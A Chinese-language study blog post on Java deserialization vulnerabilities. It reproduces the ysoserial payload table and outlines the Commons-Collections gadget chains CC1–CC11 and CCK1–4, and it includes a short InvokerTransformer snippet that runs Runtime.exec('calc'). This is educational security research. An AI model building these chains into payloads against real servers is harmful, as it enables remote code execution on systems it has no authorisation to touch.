Java反序列化漏洞一

概述

序列化与反序列化

​ 反序列化漏洞是web安全中老生常谈的问题,提及序列化与反序列化首先有几个问题可以探讨一下:

  • 为什么需要序列化与反序列化?
  • 序列化与反序列化支持传递哪些信息?
  • 序列化后的数据以什么样的格式传递?以何种方式解析?

下面逐一回答。

1.为什么需要序列化与反序列化?

​ (1)持久化:对象是存储在内存中的堆区的,但是如果内存停止使用了,对象也不存在了。序列化可以将对象转化成字节序列,可以写进硬盘文件中实现持久化。在其它的内存空间中可以读取字节序列进行反序列化成对象。

​ (2)网络传输:网络直接传输数据,但是无法直接传输对象,可在传输前序列化,传输完成后反序列化成对象。所以所有可在网络上传输的对象都必须是可序列化的。

2.序列化与反序列化支持传递哪些信息?

​ 主要包含了对象的类型信息、对象的数据等。一般来讲对于一个对象,可序列化的信息仅有成员属性以及变量类型,不能序列化方法。但有一个例外就是python的pickle模块,pickle序列化字节流中包含opcode,opcode可以实现方法,因此pickle序列化可以传递方法。

3.序列化后的数据以什么样的格式传递?以何种方式解析?

​ 在不同语言环境下,对象经过序列化后可以有多种格式,简单列举几个:

  • php序列化字符串
  • Java序列化字节流
  • pickle序列化字节流(opcode)
  • json、yaml、xml

Java中的序列化与反序列化

​ writeObject()&readObject()

漏洞成因

原生反序列化

代码中出现了不安全的原生反序列化接口readObject()就会造成反序列化漏洞,在不同的依赖环境下反序列化利用链也各不相同,常见的可能造成原生反序列化漏洞的危险依赖见项目:ysoserial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Payload             Authors                     Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4

实际中的反序列化漏洞例如shiro反序列化、weblogic反序列化、dubbo反序列化都属于原生反序列化漏洞。

dubbo需要开启NativeJava才能执行原生反序列化,开启的方式便是最新CVE的一个BUG。

其它协议

除了原生反序列化之外,还有一些项目支持面向对象的二进制序列化与反序列化,比如**Hessian协议**。它使用HessianInput/HessianOutputHessian2Input/Hessian2OutputBurlapInput/BurlapOutput这些方法对对象进行封装自传输。

@TODO 关于Hessian反序列化后续会专门写个小文章学习。

CC链前置知识

xxxTransfomer

org.apache.commons.collections.functors这个package中有很多xxxTransformer,简单介绍几个。

  • InvokerTransformer:利用反射的方式执行代码,需要调用transform()触发。
  • ChainedTransformer:组合多个Transformer,前一个回调的结果作为后一个回调的输入。
  • ConstantTransformer:将任一类转换为ConstantTransformer返回。
  • InstantiateTransformer:其transform()会反射调用任意类构造器的newInstance()

利用xxxTransformer执行Runtime.getRuntime.exec('clac.exe')的代码如下:

1
2
3
4
5
6
7
8
        Transformer[] transformers = {
// new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

TemplateImpl

1
2
3
4
5
6
7
protected TemplatesImpl(byte[][] bytecodes, String transletName, Properties outputProperties, int indentNumber, TransformerFactoryImpl tfactory) {
this._bytecodes = bytecodes;
this._name = transletName;
this._outputProperties = outputProperties;
this._indentNumber = indentNumber;
this._tfactory = tfactory;
}

在ClassLoader中我们提到,利用defineClass()可以加载字节码,TemplateImpl.newTransfomer()允许我们加载任意字节码,调用顺序是:

newTransformer()

​ getTransletInstance()

​ defineTransletClasses()

​ ClassLoader.defineClass()

具体实现需要注意:

  • _name不为空
  • _bytecodes存放字节码
  • _tfactory必须是TransformerFactoryImpl类
  • 加载的类必须是AbstractTranslet的子类

动态代理

动态代理是设计模式中代理模式的一种,代理模式的定义是:由于某些原因需要给某对象提供一个代理以控制对该对象的访问。这时,访问对象不适合或者不能直接引用目标对象,代理对象作为访问对象和目标对象之间的中介。动态代理使用反射机制在运行时为对象添加代理接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**为HashMap做动态代理,hook HashMap.get()。**/
//ExampleInvocationHandler.java
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map){
this.map=map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if(method.getName().compareTo("get")==0){
System.out.println("Hooked method:"+method.getName()+"\n");
return "Object hacked!";
}
return method.invoke(this.map,args);
}
}

//App.java
public class App {
public static void main(String[] args) {
ExampleInvocationHandler exampleInvocationHandler = new ExampleInvocationHandler(new HashMap());
//核心:创建代理类
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, exampleInvocationHandler);
proxyMap.put("name","spring");
String result = (String) proxyMap.get("name");
System.out.println(result);
}
}

Common-Collections利用链

总览

对CC链做一个简单的汇总,入口指原生反序列化调用readObject()的类,出口指下一步链接至触发点的类,触发点指触发执行的类。

入口

  1. AnnotationInvocationHandler(CC1、CC3)
  2. PriorityQueue(CC2、CC4)
  3. BadAttributeValueExpException(CC5、CC11)
  4. HashMap(CC6、CCK1/2/3/4)
  5. HashTable(CC7、CC9)
  6. HashSet(CC6、CC10)
  7. TreeBag(CC8)

出口

  1. LazyMap.get() => x.transform()
    • CC1、CC3、CC5、CC6、CC7、CC9、CC10、CC11、CCK1/2/3/4
  2. TransformingComparator.compare() => x.transform()
    • CC2、CC4、CC8

触发点

Transformers

主要是触发xxxTransformer.transform()方法,不同xxxTransformer的transform()方法有不同的效果。

  1. ChainedTransformer.Transform():反射执行Runtime.exec()。
  2. InstantiateTransformer.transform()触发TrAXFilter实例化调用newTransformer() => templates
    • 见CC3

Templates

前面我们提到要利用TemplatesImpl加载字节码需要调用TemplatesImpl.newTransformer() ,除了借助TrAXFilter外,TemplatesImpl中还有一个getOutputProperties()方法,注意它是getattr方法,因此可以与一些利用链结合。

1
2
3
4
5
6
7
public synchronized Properties getOutputProperties() {
try {
return this.newTransformer().getOutputProperties();
} catch (TransformerConfigurationException var2) {
return null;
}
}

一些小点

  • LazyMap.decorate()方法可以修饰任意Map的子类,比如HashMap、TiedMapEntry。

    1
    public static java.util.Map decorate( Map map, Transformer factory)
    • 注意:返回的LazyMap被调用get()方法后会触发map.put()、factory.transform()
  • 对于ChainedTransformer要先置入fake-chain,构造完成再填入,以免在序列化的过程中本地触发。

CC1

  • DEP:commons-collections:3.1
  • IN:AnnotationInvocationHandler.readObject()
  • OUT:LazyMap.get()
  • SINK:transformers-chain
1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
<transformers-chain>

CC2

  • DEP:commons-collections4:4.0
  • IN:PriorityQueue.readObject()
  • OUT:TransformingComparator.compare()
  • SINK:InvokerTransformer.transform() || Templates
1
2
3
4
5
6
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

CC3

  • DEP:commons-collections:3.1
  • IN:AnnotationInvocationHandler.readObject()
  • OUT:LazyMap.get()
  • SINK:Templates
1
2
3
4
5
6
7
8
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
InstantiateTransformer.transform()
TrAXFilter.newInstance()
TransformerImpl.newTransformer()
<Templates>

CC4

  • DEP:commons-collections4:4.0
  • IN:PriorityQueue.readObject()
  • OUT:TransformingComparator.compare()
  • SINK:Templates
1
2
3
4
5
6
7
PriorityQueue.readObject()
...
TransformingComparator.compare()
InstantiateTransformer.transform()
TrAXFilter.newInstance()
TransformerImpl.newTransformer()
<Templates>

CC5

  • DEP:commons-collections:3.1
  • IN:BadAttributeValueExpException.readObject()
  • OUT:LazyMap.get()
  • SINK:transformers-chain
1
2
3
4
5
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
<transformers-chain>

CC6

  • DEP:commons-collections:3.1
  • IN:HashMap.readObject() || HashSet.readObject()
  • OUT:LazyMap.get()
  • SINK:transformers-chain

1.HashMap版本(Lite)

1
2
3
4
5
6
7
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
<transformers-chain>

2.HashSet版本

1
2
3
4
5
6
7
8
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
<transformers-chain>

CC7

  • DEP:commons-collections:3.1
  • IN:Hashtable.readObject()
  • OUT:LazyMap.get()
  • SINK:transformers-chain
1
2
3
4
5
6
7
 Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
<transformers-chain>

CC8

  • DEP:commons-collections4:4.0
  • IN:TreeBag.readObject()
  • OUT:TransformingComparator.compare()
  • SINK:Templates
1
2
3
4
5
6
7
org.apache.commons.collections4.bag.TreeBag.readObject
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
java.util.TreeMap.put
java.util.TreeMap.compare
org.apache.commons.collections4.comparators.TransformingComparator.compare
InvokerTransformer.transform -> TransformerImpl.newTransformer()
<Templates>

CC9

  • DEP:commons-collections:3.1
  • IN:Hashtable.readObject()
  • OUT:LazyMap.get()
  • SINK:transformers-chain
1
2
3
4
5
6
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
<transformers-chain>

CC10

  • DEP:commons-collections:3.2.1
  • IN:HashSet.readObject()
  • OUT:LazyMap.get()
  • SINK:Templates
1
2
3
4
5
6
7
8
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
InvokerTransformer.transform() -> TransformerImpl.newTransformer()
<Templates>

CC11

  • DEP:commons-collections:3.2.1
  • IN:BadAttributeValueExpException.readObject()
  • OUT:LazyMap.get()
  • SINK:Templates

modify from Payload CC5.

1
2
3
4
5
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
InvokerTransformer.transform() -> TransformerImpl.newTransformer()
<Templates>

CCK1/2

  • DEP:commons-collections:<=3.2.1 || commons-collections4:4.0
  • IN:HashMap.readObject()
  • OUT:LazyMap.get()
  • SINK:Templates

For shiro-exploit. MemShell Injection.

1
2
3
4
5
6
HashMap.readObject
TiedMapEntry.hashCode
TiedMapEntry.getValue
LazyMap.get
InvokerTransformer.transform -> TransformerImpl.newTransformer()
<Templates>

CCK3/4

  • DEP:commons-collections:<=3.2.1 || commons-collections4:4.0
  • IN:HashMap.readObject()
  • OUT:LazyMap.get()
  • SINK:Templates

For shiro-exploit.

1
2
3
4
5
  HashMap.readObject
TiedMapEntry.hashCode
TiedMapEntry.getValue
LazyMap.get
<transformers-chain>

REF

Java 反序列化取经路 | 素十八 (su18.org)

https://su18.org/post/ysoserial-su18-2

https://forum.butian.net/share/1538


Java反序列化漏洞一
http://example.com/2023/05/25/Java反序列化漏洞一/
Author
springtime
Posted on
May 25, 2023
Licensed under